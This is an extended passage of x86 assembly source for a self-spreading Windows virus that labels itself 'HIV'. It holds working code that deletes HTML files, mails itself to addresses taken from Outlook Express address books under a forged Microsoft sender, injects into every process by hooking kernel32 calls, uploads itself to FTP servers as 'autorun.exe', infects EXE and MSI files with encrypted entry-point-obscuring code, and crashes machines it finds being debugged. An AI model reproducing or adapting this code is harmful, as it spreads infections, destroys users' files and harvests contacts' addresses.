pushad ;store all registers
lea ebx,[ebp + WFD - gdelta] ;address of WFD record
push ebx
@pushsz '*.html' ;find some .HTML file
call [ebp + a_FindFirstFileA - gdelta]
inc eax
je end_html_search ;quit if no .HTML file was found
dec eax
mov [ebp + fhtmlHandle - gdelta],eax;save search handle

i_html: call infect_html ;infect .HTML file

push ebx ;WFD record


push 12345678h ;search handle
fhtmlHandle = dword ptr $-4
call [ebp + a_FindNextFileA - gdelta];find next .HTML file
test eax,eax
jne i_html ;and infect it

push dword ptr [ebp + fhtmlHandle - gdelta]


call [ebp + a_FindClose - gdelta] ;close search handle
end_html_search:
popad ;restore all registers
ret ;and quit from procedure

;this procedure can infect found .HTML file


infect_html:
pushad ;store all registers
lea esi,[ebx.WFD_szFileName] ;found .HTML file
push esi
call [ebp + a_DeleteFileA - gdelta] ;delete it

push esi
@endsz
dec esi
mov eax,'lmx.'
mov edi,esi
stosd ;create .XML extension
xor al,al
stosb
pop ebx
g_xml: call Create_FileA ;create .HTML.XML file
xchg eax,edi
inc edi
je end_infect_html
dec edi

push 0
call @wftmp
dd ?
@wftmp: push end_xml-start_xml
call end_xml
start_xml: ;start of "infected" XML document
db '<?xml version="1.0"?>'
db '<?xml:stylesheet type="text/xsl" href="http://coderz.net/benny/viruses/press.txt"?>'
db '<i>'
end_xml:push edi
call [ebp + a_WriteFile - gdelta] ;write first part of XML document

push 0
lea ebx,[ebp + @wftmp-4 - gdelta]
push ebx
push szMsg-1-p_msg
lea eax,[ebp + p_msg - gdelta]
push eax
push edi
call [ebp + a_WriteFile - gdelta] ;write message to XML document

push 0
push ebx
push 4
call @endxml
db '</i>'
@endxml:push edi
call [ebp + a_WriteFile - gdelta] ;and final tag

push edi
call [ebp + a_CloseHandle - gdelta] ;close file
end_infect_html:
popad ;restore all registers
ret ;and quit - HTML is now infected :)
html_stuff EndP

;create infected c:\press.xml file


@i_html:pushad
@getsz 'c:\press.xml',ebx
jmp g_xml

;this procedure can send "infected" XML document to 5 mail addresses via MAPI32
mapi_stuff Proc
pushad
call @i_html ;generate XML file

@pushsz 'MAPI32' ;load MAPI32.DLL library


call [ebp + a_LoadLibraryA - gdelta]
test eax,eax
je end_infect_html
xchg eax,ebx ;EBX - base of MAPI32

@getsz 'MAPILogon',edx
call @get_api ;get address of MAPILogon API
test eax,eax
je end_mapi
xchg eax,esi ;ESI - address of MAPILogon
@getsz 'MAPILogoff',edx
call @get_api ;get address of MAPILogoff API
test eax,eax
je end_mapi
xchg eax,edi ;EDI - address of MAPILogoff

@getsz 'MAPISendMail',edx
call @get_api ;get address of MAPISendMail API
test eax,eax
je end_mapi
mov [ebp + a_MAPISendMail - gdelta],eax
;save it
xor edx,edx
lea eax,[ebp + tmp - gdelta];mapi session ptr
push eax
push edx
push edx
lea eax,[ebp + nextPID-1 - gdelta]
push eax
push eax
push edx
call esi ;log on to MAPI32
test eax,eax
jne end_mapi

;generate MAPI32 message


push edi
lea edi,[ebp + MAPIMessage - gdelta]
stosd
@getsz 'XML presentation',eax ;subject
stosd
call @msgbody
db 'Please check out this XML presentation and send us your opinion.',0dh,0ah
db 'If you have any questions about XML presentation, write us.',0dh,0ah,0dh,0ah,0dh,0ah
db 'Thank you,',0dh,0ah,0dh,0ah
db 'The XML developement team, Microsoft Corp.',0
@msgbody:
pop eax
stosd ;message body
add edi,4
@getsz '2010/06/06 22:00',eax ;date and time
stosd
add edi,4
push 2
pop eax
stosd
lea eax,[ebp + MsgFrom - gdelta]
stosd ;sender

push 5
pop eax ;number of recipients
stosd
lea eax,[ebp + MsgTo - gdelta]
stosd ;recipients
xor eax,eax
inc eax
stosd
lea eax,[ebp + MAPIFileDesc - gdelta]
stosd

add edi,4*2
lea eax,[ebp + nextPID-1 - gdelta]
stosd
@getsz 'press@microsoft.com',eax
stosd ;sender
add edi,4*2

push 5
pop ecx

xor eax,eax
msgTo: stosd ;0
inc eax
stosd ;1
dec eax
stosd ;0
imul eax,ecx,22h
lea eax,[eax + ebp + mails - gdelta-22h]
stosd ;get next email address from WAB - recipient
xor eax,eax
stosd ;0
stosd ;0
loop msgTo ;5 timez

add edi,4*3

lea eax,[ebp + @i_html+6 - gdelta]


stosd ;name of file attachment
stosd ;...
add edi,4

xor eax,eax
push eax
push eax
lea ecx,[ebp + MAPIMessage - gdelta]
push ecx ;message
push eax
push dword ptr [ebp + tmp - gdelta]
mov eax,12345678h
a_MAPISendMail = dword ptr $-4
call eax ;send E-MAIL !

pop edi
xor eax,eax
push eax
push eax
push eax
push dword ptr [ebp + tmp - gdelta]
call edi ;close MAPI session

end_mapi:
push ebx
call [ebp + a_FreeLibrary - gdelta] ;unload MAPI32.DLL
popad ;restore all registers
ret ;and quit from procedure
mapi_stuff EndP

;this procedure can get 5 e-mail addresses from Outlook Express'es default
;address-book - .WAB file
wab_parse Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_seh>
;setup SEH frame
lea ebx,[ebp + wab_buffer - gdelta]
call Create_FileA ;open WAB file
inc eax
je end_seh ;quit if error
dec eax
mov [ebp + wFile - gdelta],eax
;store handle
call Create_FileMappingA
xchg eax,ecx ;create file mapping object
jecxz end_wfile
mov [ebp + wMapFile - gdelta],ecx
;store handle
call Map_ViewOfFile ;map view of file to our address space
xchg eax,ecx
jecxz end_wmfile
mov [ebp + wlpFile - gdelta],ecx
jmp next_wab ;save handle

end_wab:push 12345678h
wlpFile = dword ptr $-4 ;unmap view of file
call [ebp + a_UnmapViewOfFile - gdelta]
end_wmfile:
push 12345678h
wMapFile = dword ptr $-4 ;close file mapping object
call [ebp + a_CloseHandle - gdelta]
end_wfile:
push 12345678h
wFile = dword ptr $-4 ;close file
call [ebp + a_CloseHandle - gdelta]
jmp end_seh ;quit from procedure

next_wab:
mov esi,[ecx+60h] ;get to e-mail addresses array
add esi,ecx ;make RAW pointer
lea edi,[ebp + mails - gdelta] ;buffer for 5 mail addresses
xor ebx,ebx ;EBX - 0
push 5
pop ecx ;ECX - 5
m_loop: call parse_wab ;get one e-mail address
add esi,44h ;get to next record
loop m_loop ;ECX timez
jmp end_wab ;and quit

parse_wab:
push ecx ;store registers
push esi ;...
push 22h
pop ecx ;up to 22 characters
r_mail: lodsw ;get unicode character
stosb ;save ANSI character
dec ecx ;decrement counter
test al,al ;end of string?
jne r_mail ;no, continue
add edi,ecx ;yep, correct EDI
pop esi ;restore registers
pop ecx ;...
ret ;and quit
wab_parse EndP

;this procedure can check if the virus is debugged and if so, it can restart
;computer (Win98) or terminate current process (Win2k)
debug_stuff Proc
pushad

mov eax,fs:[20h] ;get debug context


test eax,eax ;if API-level debugger is not present,
je $+4 ;EAX should be NULL
k_debug:int 19h ;kill process/computer :)

call [ebp + a_IsDebuggerPresent - gdelta]


test eax,eax ;check for API-level debugger
jne k_debug ;kill if present

@getsz '\\.\SICE',ebx ;name of driver to EBX


call Create_FileA ;open SOFTICE driver (Win98)
inc eax
jne k_debug ;kill if present

@getsz '\\.\NTICE',ebx ;name of driver to EBX


call Create_FileA ;open SOFTICE driber (WinNT/2k)
inc eax
jne k_debug ;kill if present

popad ;restore registers


ret ;and continue
debug_stuff EndP

;this procedure is designed to infect ALL processes - in each process it will


;find K32, allocate memory for virus and hook some K32 calls
searchThread Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_search> ;setup SEH frame
mov ebp,[esp.cPushad+12] ;get delta offset

xor ebx,ebx ;EBX - PID


mov ecx,80000h ;set counter
nextPID:inc ebx ;increment PID
pushad ;store all registers
push ebx ;process ID
push 0
push PROCESS_VM_READ or PROCESS_VM_WRITE or PROCESS_VM_OPERATION or
PROCESS_QUERY_INFORMATION
;try to get handle of process
call [ebp + a_OpenProcess - gdelta] ;thru our ID
test eax,eax ;have we correct handle?
jne gotPID ;yeah, ID is valid, infect process!
pid_loop:
popad ;restore all registers
loop nextPID ;nope, try it with another ID
end_search:
call @patch
ep_patch dd 0 ;synchronize variable for
@patch: pop eax ;ExitProcess API
mov [eax],eax ;now, host program may be terminated
jmp end_seh ;quit

gotPID: xchg eax,ebx ;handle to EBX


mov esi,12345678h ;get K32 base
k32_base = dword ptr $-4

;Now we have to get the size of K32 in another process. We use the trick
;-> we will search thru the address space for the end of K32 in memory
;and then we will substract the value with the base address, so we will
;get the size
start_parse:
push mbi_size
lea eax,[ebp + mbi - gdelta] ;MBI structure
push eax
push esi
push ebx ;get informations about
call [ebp + a_VirtualQueryEx - gdelta]
test eax,eax ;adress space
je end_K32_patching ;quit if error
;is memory commited?
test dword ptr [ebp + reg_state - gdelta],MEM_COMMIT
je end_parse ;quit if not, end of K32 found
mov eax,[ebp + reg_size - gdelta] ;get size of region
add [ebp + k32_size - gdelta],eax ;add the size to variable
add esi,eax ;make new address
jmp start_parse ;and parse again

end_parse:
sub esi,[ebp + k32_base - gdelta] ;correct to size and save it
mov [ebp + k32_size - gdelta],esi ;(size=k32_end - k32_start)

push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push esi
push 0
call [ebp + a_VirtualAlloc - gdelta] ;allocate enough space
test eax,eax ;for K32 in our process
je end_K32_patching
xchg eax,edi
mov [ebp + k32_copy - gdelta],edi ;save the address

lea edx,[ebp + tmp - gdelta]


push edx
push 12345678h
k32_size = dword ptr $-4
push edi
push dword ptr [ebp + k32_base - gdelta]
push ebx ;copy the K32 to our buffer
call [ebp + a_ReadProcessMemory - gdelta]
dec eax
jne end_K32_dealloc

movzx eax,word ptr [edi] ;get the first bytes of file


add eax,-"ZM"
jne end_K32_dealloc ;must be MZ header
mov esi,[edi.MZ_lfanew] ;get to PE header
add esi,edi
mov eax,[esi]
add eax,-"EP"
jne end_K32_dealloc ;must be PE header
cmp byte ptr [edi.MZ_res2],'H'+'I'+'V' ;is K32 already infected?
je end_K32_dealloc ;yeah, dont infect it again
mov byte ptr [edi.MZ_res2],'H'+'I'+'V' ;mark as already infected

push PAGE_EXECUTE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push virus_size
push 0 ;allocate enough space
push ebx ;for virus code in
call [ebp + a_VirtualAllocEx - gdelta] ;victim process
test eax,eax
je end_K32_dealloc ;quit if error
mov [ebp + virus_base - gdelta],eax ;save the address

;now we will try to hook some APIz of K32

push crcResCount
pop ecx ;count of APIz to hook
make_res:
pushad ;store all registers
mov eax,edi
lea esi,[ebp + crcRes - gdelta + (ecx*4)-4] ;get API
call get_api ;get address of API
test eax,eax
je end_res ;quit if error
push eax
mov edx,[ebp + posRes - gdelta + (ecx*4)-4] ;get ptr to variable which
sub eax,[ebp + k32_copy - gdelta] ;holds the address to old
add eax,[ebp + k32_base - gdelta] ;API
mov [edx],eax ;store address there
pop eax ;get address to EAX

pushad ;store all registers


xchg eax,esi ;EAX to ESI
mov edi,[ebp + oldRes - gdelta + (ecx*4)-4] ;save old 5 bytes
movsd ;4 bytes
movsb ;1 byte
popad ;restore all registers

;overwrite first 5 bytes of API code by <JMP api_hooker> instruction


;address = dest_address - (jmp_address+5)

push eax
sub eax,[ebp + k32_copy - gdelta] ;calculate api_hooker address
add eax,[ebp + k32_base - gdelta] ;...
mov esi,eax ;...
mov eax,0 ;base address of virus
virus_base = dword ptr $-4 ;in memory
add eax,[ebp + newRes - gdelta + (ecx*4)-4] ;add address of api_hooker
sub eax,5 ;substract the size of JMP
sub eax,esi ;substract with dest_address
pop esi
mov byte ptr [esi],0E9h ;write JMP opcode
mov [esi+1],eax ;write JMP address

end_res:popad ;restore all registers


loop make_res ;ECX-timez

lea edx,[ebp + tmp - gdelta]


push edx
push virus_size
lea edx,[ebp + Start - gdelta]
push edx
push dword ptr [ebp + virus_base - gdelta]
push ebx
call [ebp + a_WriteProcessMemory - gdelta] ;write virus to allocated memory
dec eax
jne end_K32_dealloc ;quit if error

;now we will change protection of K32 memory so we will be able to


;overwrite it with infected version of K32
lea edx,[ebp + tmp - gdelta]
push edx
push PAGE_EXECUTE_READWRITE
push dword ptr [ebp + k32_size - gdelta]
push dword ptr [ebp + k32_base - gdelta]
push ebx
call [ebp + a_VirtualProtectEx - gdelta] ;now we will be able to
dec eax ;rewrite the K32 with
jne end_K32_dealloc ;infected one

lea edx,[ebp + tmp - gdelta]


push edx
push dword ptr [ebp + k32_size - gdelta]
push dword ptr [ebp + k32_copy - gdelta]
push dword ptr [ebp + k32_base - gdelta]
push ebx
call [ebp + a_WriteProcessMemory - gdelta] ;rewrite K32

end_K32_dealloc:
push MEM_DECOMMIT
push dword ptr [ebp + k32_size - gdelta]
push 12345678h
k32_copy = dword ptr $-4
call [ebp + a_VirtualFree - gdelta] ;now we have to decommit
;our memory
push MEM_RELEASE
push 0
push dword ptr [ebp + k32_copy - gdelta]
call [ebp + a_VirtualFree - gdelta] ;and de-reserve, now our
;buffer doesnt exist
end_K32_patching:
push ebx
call [ebp + a_CloseHandle - gdelta] ;close the handle of process
jmp pid_loop ;and look for another one
searchThread EndP

;new FindFirstFileA hooker


newFindFirstFileA Proc
pushad ;store all registers
push eax
call @oldFFA ;get pointer to saved bytes...
oldFindFirstFileA:
db 5 dup (?) ;saved 5 bytes
@oldFFA:call @newFFA
db 5 dup (?) ;get pointer to buffer...
@newFFA:pop edi
mov [esp+4],edi

mov esi,0 ;address of FindFirstFileA in memory


posFindFirstFileA = dword ptr $-4
common_end:
push esi ;copy <JMP newFindFirstFileA> to
movsd ;buffer
movsb
pop edi
pop esi
push edi

movsd ;restore previous 5 bytes of API code


movsb
sub edi,5

mov esi,[esp.cPushad+16]
push esi
push dword ptr [esp.cPushad+16]
call edi ;call API
inc eax
je end_ffa
dec eax
call CheckInfect ;no error, try to infect found file
end_ffa:mov [esp.Pushad_eax+8],eax
pop edi
pop esi
movsd ;write back <JMP newFindFirstFileA>
movsb
popad ;restore all registers
ret 8 ;and quit with 2 params on the stack
newFindFirstFileA EndP

;new FindNextFileA hooker


newFindNextFileA Proc
pushad ;store all registers
push eax
call @oldFNA ;get pointer to saved bytes...
oldFindNextFileA:
db 5 dup (?)
@oldFNA:call @newFNA ;get pointer to buffer...
db 5 dup (?)
@newFNA:pop edi
mov [esp+4],edi

mov esi,0 ;address of FindNextFileA in memory


posFindNextFileA = dword ptr $-4
jmp common_end ;optimized :)
newFindNextFileA EndP

;this procedure is used by API hookerz - it can create WFD structure and call
;CheckInfect procedure (this proc needs WFD struct)
xCheckInfect Proc
call $+5
xdelta: pop ebp ;get delta offset
lea esi,[ebp + WFD - xdelta]
push esi ;WFD struct
push dword ptr [esp.cPushad+16] ;ptr to filename
call [ebp + a_FindFirstFileA - xdelta] ;find file
inc eax
je end_xci ;quit if error
dec eax
call CheckInfect ;infect file
push eax
call [ebp + a_FindClose - xdelta] ;close search handle
end_xci:ret ;and quit
xCheckInfect EndP

;new CopyFileA hooker


newCopyFileA Proc
push eax ;reserve space in stack for ret address
pushad ;store all registers
call xCheckInfect ;check and infect file
call @oldCFA ;get pointer to saved bytes...
oldCopyFileA:
db 5 dup (0) ;saved 5 bytes
@oldCFA:pop esi ;...to ESI
mov edi,0 ;address of CopyFileA in memory
posCopyFileA = dword ptr $-4
mov [esp.cPushad],edi ;store the address to stack
movsd ;restore 5 bytes
movsb
popad ;restore all registers
ret ;jump to previous API
newCopyFileA EndP

;new MoveFileA hooker


newMoveFileA Proc
push eax ;reserve space in stack for ret address
pushad ;store all registers
call xCheckInfect ;check and infect file
call @oldMFA ;get pointer to saved bytes...
oldMoveFileA:
db 5 dup (0) ;saved 5 bytes
@oldMFA:pop esi ;...to ESI
mov edi,0 ;address of MoveFileA in memory
posMoveFileA = dword ptr $-4
mov [esp.cPushad],edi ;store the address to stack
movsd ;restore 5 bytes
movsb
popad ;restore all registers
ret ;jump to previous API
newMoveFileA EndP

;new CreateFileA handler


newCreateFileA Proc
push eax ;reserve space in stack for ret address
pushad ;store all registers
mov ecx,12345678h ;semaphore
cfa_patch = dword ptr $-4
jecxz no_cfa ;dont infect file in infection stage
call xCheckInfect ;check and infect file
no_cfa: call @oldCA ;get pointer to saved bytes...
oldCreateFileA:
db 5 dup (0) ;saved 5 bytes
@oldCA: pop esi ;...to ESI
mov edi,0 ;address of CreateFileA in memory
posCreateFileA = dword ptr $-4
mov [esp.cPushad],edi ;store the address to stack
movsd ;restore 5 bytes
movsb
popad ;restore all registers
ret ;jump to previous API
newCreateFileA EndP

;new ExitProcess handler


newExitProcess Proc
pushad ;store all registers
call edelta ;get delta offset
edelta: pop ebp

ep_loop:mov ecx,[ebp + ep_patch - edelta] ;wait for SearchThread


jecxz ep_loop ;termination...
popad ;restore all registers
j_api oldExitProcess ;and call the original API
newExitProcess EndP

;new InternetConnectA hooker


newInternetConnectA Proc
fld dword ptr [esp] ;store return address on copro-stack
call ICAjmp ;call previous API

push eax ;make space on the stack


fstp dword ptr [esp] ;move return address from copro-stack to stack
test eax,eax ;error?
jne nICA ;no, we are connected
ret ;yeah, quit

nICA: pushad ;store all registers


call $+5
igd: pop ebp ;get delta offset to EBP

xchg eax,ebx

push MAX_PATH
lea esi,[ebp + reg_buffer - igd]
push esi
push 0 ;get path+filename of current process
call [ebp + a_GetModuleFileNameA - igd]

lea esi,[ebp + szInet+5 - igd]


push esi ;get base of WININET.DLL
call [ebp + a_GetModuleHandleA - igd]

@pushsz 'FtpPutFileA'
push eax ;get address of FtpPutFileA API
call [ebp + a_GetProcAddress - igd]
xchg eax,ecx
jecxz endICA ;quit if error

;now we will try to transfer infected file to FTP server


push 0 ;context
push 2 ;binary transfer
@pushsz 'autorun.exe' ;dest filename
push esi ;source filename (our process)
push ebx ;handle to inet connection
call ecx ;call FtpPutFileA
endICA: popad ;restore all registers
ret ;and quit

ICAjmp: pop eax ;get code address


mov [esp],eax ;save it on the stack
j_api oldInternetConnectA ;and call the previous API
newInternetConnectA EndP

unload_lib:
push edi
call [ebp + a_FreeLibrary - gd]

;this procedure can check the file and infect it


;input: ESI - WFD record
CheckInfect Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_seh>;setup SEH frame
call gd
gd: pop ebp ;get delta offset to EBP

mov [ebp + cut_or_not - gd],ebp


;set flag - truncate file back
test [esi.WFD_dwFileAttributes],FILE_ATTRIBUTE_DIRECTORY
jne end_seh ;must not be directory
xor edx,edx
cmp [esi.WFD_nFileSizeHigh],edx
jne end_seh ;discard huge files
mov edx,[esi.WFD_nFileSizeLow]
cmp edx,4000h ;discard small files
jb end_seh
mov [ebp + file_size - gd],edx
;save file size
lea ebx,[esi.WFD_szFileName]

pushad ;store all registers


xor esi,esi ;nulify register
@pushsz 'SFC'
call [ebp + a_LoadLibraryA - gd] ;load SFC.dll library
test eax,eax
je q_sfc ;quit if error
xchg eax,edi

@pushsz 'SfcIsFileProtected'
push edi
call [ebp + a_GetProcAddress - gd]
test eax,eax ;get the pointer to API
je un_sfc

push ebx ;filename


push 0 ;reserved
call eax ;call SfcIsFileProtected API
test eax,eax
je un_sfc
inc esi ;set variable to 1 if the file is protected
un_sfc: call unload_lib ;unload SFC.dll
q_sfc: mov [esp.Pushad_eax],esi ;save it to EAX on the stack
popad ;restore all registerz
test eax,eax
jne end_seh ;quit if file is protected (EAX=0)

; cmp [ebx],'dcba' ;for debug version


; jne end_seh ;infect only "abcd" filez

push FILE_ATTRIBUTE_NORMAL
push ebx
call [ebp + a_SetFileAttributesA - gd]
dec eax ;blank file attributes
jne end_seh

call resCreate_FileA ;open file


inc eax
je end_attr ;quit if error
dec eax
mov [ebp + hFile - gd],eax ;save handle

mov ebx,[esi.WFD_nFileSizeLow]
add ebx,virus_size ;new file size to EBX
mov [ebp + mapped_file_size - gd],ebx
cdq
push edx
push ebx
push edx
push PAGE_READWRITE
push edx
push eax
call [ebp + a_CreateFileMappingA - gd]
xchg eax,ecx ;create file mapping object
jecxz end_cfile ;quit if error
mov [ebp + hMapFile - gd],ecx
;save handle
push ebx
push 0
push 0
push FILE_MAP_WRITE
push ecx
call [ebp + a_MapViewOfFile - gd]
xchg eax,ecx ;map view of file to our address space
jecxz end_mfile ;quit if error
mov [ebp + lpFile - gd],ecx ;save handle
jmp n_open ;and continue

end_file:
popad
push 12345678h
lpFile = dword ptr $-4 ;unmap view of file
call [ebp + a_UnmapViewOfFile - gd]

end_mfile:
push 12345678h
hMapFile = dword ptr $-4 ;close file mapping object
call [ebp + a_CloseHandle - gd]

end_cfile:
mov ecx,12345678h ;infection succeed?
cut_or_not = dword ptr $-4
jecxz no_cut ;yeah, dont truncate file

push 0 ;no, truncate file back


push 0
push dword ptr [esi.WFD_nFileSizeLow]
push dword ptr [ebp + hFile - gd]
call [ebp + a_SetFilePointer - gd]

push dword ptr [ebp + hFile - gd]


call [ebp + a_SetEndOfFile - gd]

no_cut: lea eax,[esi.WFD_ftLastWriteTime]


push eax
lea eax,[esi.WFD_ftLastAccessTime]
push eax
lea eax,[esi.WFD_ftCreationTime]
push eax ;set back file time
push dword ptr [ebp + hFile - gd]
call [ebp + a_SetFileTime - gd]

mov ecx,[ebp + cut_or_not - gd]


jecxz ntfs_stuff ;try to compress file and create new stream

close_file:
push 12345678h
hFile = dword ptr $-4 ;close file
call [ebp + a_CloseHandle - gd]

end_attr:
lea eax,[esi.WFD_szFileName]
push [esi.WFD_dwFileAttributes]
push eax ;set back file attributes
call [ebp + a_SetFileAttributesA - gd]
end_seh:@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
ret ;and quit from procedure

;this procedure will try to NTFS-compress infected file and add new stream
ntfs_stuff Proc
push 0
lea eax,[ebp + tmp - gd]
push eax
push 0
push 0
push 4
call in_buf
dd 1 ;default compression
in_buf: push 09C040h ;compress code
push dword ptr [ebp + hFile - gd]
call [ebp + a_DeviceIoControl - gd] ;compress infected file!

lea esi,[esi.WFD_szFileName] ;get ptr to filename


push esi
@endsz
dec esi
mov edi,esi
mov eax,'VIH:'
stosd ;add there ":HIV"\0
xor al,al
stosb
pop ebx
mov byte ptr [ebp + cfa_flagz - gd],CREATE_ALWAYS
call resCreate_FileA ;create new stream
mov byte ptr [ebp + cfa_flagz - gd],OPEN_EXISTING
inc eax
je end_seh ;quit if error
dec eax
xchg eax,ebx

push 0
lea eax,[ebp + tmp - gd]
push eax
push szMsg-1-p_msg
lea eax,[ebp + p_msg - gd]
push eax
push ebx
call [ebp + a_WriteFile - gd] ;copy message to new stream

push ebx
call [ebp + a_CloseHandle - gd] ;close stream
jmp close_file ;and close whole file
ntfs_stuff EndP

;this procedure can search for EXE files inside MSIs


mz_search Proc
pushad ;store all registers
@SEH_SetupFrame <jmp e_mz> ;setup SEH frame
r_byte: movzx eax,word ptr [ecx] ;get byte
add eax,-"ZM" ;is it MZ file?
jne n_byte ;no, explore next bytes
mov ebx,[ecx.MZ_lfanew] ;get to PE header
add ebx,ecx ;...
mov eax,[ebx] ;get DWORD
add eax,-"EP" ;is it PE file?
jne n_byte ;no, explore next bytes
end_mz: mov [esp.Pushad_ebx+8],ebx ;store PE location
mov [esp.Pushad_ecx+8],ecx ;store MZ location
jmp end_seh ;and quit
e_mz: xor ecx,ecx ;no file found...
jmp end_mz ;quit
n_byte: inc ecx ;move to next byte
jmp r_byte ;explore it
mz_search EndP

check_msi:
cmp [ecx],0E011CFD0h ;is it MSI signature?
jne end_file ;no, quit
cmp [ecx+4],0E11AB1A1h ;is it MSI signature?
jne end_file ;no, quit

parse_msi:
call mz_search ;search for EXE file inside MSI
test ecx,ecx
je end_file ;no files found, quit...

and dword ptr [ebp + pe_or_msi - gd],0


push ecx ;set flag (EXE inside MSI) and store ECX
call m_open ;analyse and infect file
pop ecx ;restore ECX
c_msi: inc ecx ;try next EXE file
jmp parse_msi ;inside MSI...

n_open: pushad ;store all registers


mov [ebp + pe_or_msi - gd],ecx ;set flag (normal EXE)
m_open: movzx eax,word ptr [ecx] ;get word
add eax,-"ZM" ;is it MZ?
jne check_msi ;no, quit
cmp byte ptr [ecx.MZ_res2],'H'+'I'+'V' ;is it already infected?
je end_file ;yeah, quit

mov ebx,ecx
add ebx,[ecx.MZ_lfanew]

;at this point:


; EBX - start of PE header
; ECX - start of MM file (MZ header)
; ESI - WIN32_FIND_DATA record

mov eax,[ebx] ;get DWORD


add eax,-"EP" ;is it PE file?
jne end_file ;no, quit
cmp word ptr [ebx.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jne end_file ;must be 386+
mov eax,dword ptr [ebx.NT_FileHeader.FH_Characteristics]
not al
test ax,IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
jne end_file ;must not be DLL file
movzx edx,word ptr [ebx.NT_FileHeader.FH_NumberOfSections]
cmp edx,4
jb end_file ;must be 4+
dec edx
imul eax,edx,IMAGE_SIZEOF_SECTION_HEADER
movzx edx,word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
add edi,ebx

;at this point:


; EBX - start of PE header
; ECX - start of MZ header
; EDX - start of host (.)code
; ESI - WFD record
; EDI - start of last section

mov byte ptr [ecx.MZ_res2],'H'+'I'+'V';mark as already infected


mov eax,12345678h
pe_or_msi = dword ptr $-4
test eax,eax ;do we infect MSI?
je infect_msi ;yeah, infect MSI
;no, infect normal EXE
mov [ebp + file_base - gd],ecx ;save base of mapped file

;EPO search engine

pushad ;store all registers


pushad ;...
lea edx,[edx+ebx+IMAGE_SIZEOF_FILE_HEADER+4]
mov esi,[edx.SH_PointerToRawData] ;get to start of .CODE section
add esi,ecx ;make RAW pointer
mov ecx,[edx.SH_SizeOfRawData] ;get the size of .CODE section

l_epo: add [ebp + enc_key - gd],eax;generate encryption key


lodsd ;get byte
cmp eax,0C95B5E5Fh ;is it procedure epilog code?
je ll_epo ;yeah, check the last byte
dec esi ;no, decrement pointerz
dec esi ;...
dec esi ;...
loop l_epo ;search for next instructionz
jmp end_epo ;no epilog found, quit
ll_epo: lodsb ;get the last byte
cmp al,0C3h ;is it RET instruction?
je got_epo ;yeah, we have found place for EPO
sub esi,4 ;no, decrement pointerz
dec ecx ;and counter
jmp l_epo ;and try again

got_epo:mov eax,[edi.SH_VirtualAddress]
add eax,[edi.SH_SizeOfRawData] ;calculate RVA of virus begining

mov ecx,esi
sub ecx,[esp.Pushad_ecx]
sub ecx,[edx.SH_PointerToRawData]
add ecx,[edx.SH_VirtualAddress] ;calculate RVA of JMP opcode
or dword ptr [edx.SH_Characteristics],IMAGE_SCN_MEM_WRITE
;set WRITE flag to .CODE section
mov edi,esi
mov esi,ecx
sub esi,5
sub edi,5
add esi,[ebx.NT_OptionalHeader.OH_ImageBase]

sub eax,ecx ;calculate destination address


push eax

mov [ebp + epo_pos - gd],esi ;store EPO address


mov al,0E9h ;store JMP opcode
stosb
pop eax
stosd ;store JMP address
end_epo:popad ;restore all registers

lea eax,[ebp + image_base - gd] ;get pointer to variable


push dword ptr [eax] ;save variable to the stack
mov ecx,[ebx.NT_OptionalHeader.OH_ImageBase]
mov [eax],ecx ;save new image base of host

lea esi,[ebp + Start - gd] ;get start of virus to ESI


mov ecx,end_virus-Start ;size of virus code
mov eax,[edi.SH_PointerToRawData] ;get ptr to last section
add eax,[edi.SH_SizeOfRawData] ;add size of section
add eax,[esp.Pushad_ecx+4] ;add address of mapped file
xchg eax,edi ;save it to EDI
push edi ;store it to the stack

mov ebx,12345678h
enc_key = dword ptr $-4
mov [ebp + decr_key - gd],ebx ;save encryption key
and dword ptr [ebp + enc_key - gd],0;nulify encryption key variable

inc dword ptr [ebp + generation_count - gd]


;increment number of generation
call mem_alloc ;allocate one buffer
mov [ebp + buffer - gd],eax ;save pointer
call mem_alloc ;allocate another buffer
mov [ebp + file_buffer - gd],eax ;save pointer

mov esi,12345678h ;get size of file


file_size = dword ptr $-4
mov ecx,8192
sub esi,ecx
add esi,12345678h ;move to the EOF-8192
file_base = dword ptr $-4
mov edi,12345678h ;EDI = allocated buffer
file_buffer = dword ptr $-4
rep movsb ;move there last 8192 bytes

lea esi,[ebp + encrypted - gd] ;start of encrypted part of virus


mov edi,12345678h
buffer = dword ptr $-4
push edi
mov ecx,(end_virus-encrypted+3)/4
push ecx ;copy encrypted part of virus
rep movsd ;to the buffer
pop ecx
pop esi
mov edi,esi
encrpt: lodsd
xor eax,ebx ;encrypt virus in the buffer
stosd
loop encrpt
pop edi

lea esi,[ebp + Start - gd]


push encrypted-Start
pop ecx ;copy decryptor to the end of
rep movsb ;last section
mov esi,[ebp + buffer - gd]
mov ecx,8192-(encrypted-Start)
rep movsb ;copy the encrypted part of virus

mov ecx,8192
mov esi,[ebp + file_buffer - gd]
rep movsb ;and last 8192 of host code

dec dword ptr [ebp + generation_count - gd] ;decrement number of gen.


pop dword ptr [ebp + image_base - gd] ;restore image base
popad ;restore all registers

mov esi,[ebp + buffer - gd]


call mem_dealloc ;deallocate buffer
mov esi,[ebp + file_buffer - gd]
call mem_dealloc ;...

or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE


;set flagz of the last section
add dword ptr [edi.SH_VirtualSize],virus_size
mov eax,[edi.SH_VirtualSize]
mov ecx,[ebx.NT_OptionalHeader.OH_SectionAlignment]
xor edx,edx
div ecx
test edx,edx
je end_m1
inc eax
mul ecx
mov [edi.SH_VirtualSize],eax ;new virtual size

end_m1: push dword ptr [edi.SH_SizeOfRawData]


add dword ptr [edi.SH_SizeOfRawData],virus_size
mov eax,[edi.SH_SizeOfRawData]
mov ecx,[ebx.NT_OptionalHeader.OH_FileAlignment]
xor edx,edx
div ecx
test edx,edx
je end_m2
inc eax
end_m2: mul ecx
pop edx
sub eax,edx
add [ebx.NT_OptionalHeader.OH_SizeOfImage],eax
test dword ptr [edi.SH_Characteristics],IMAGE_SCN_CNT_INITIALIZED_DATA
je rs_ok ;new size of raw data
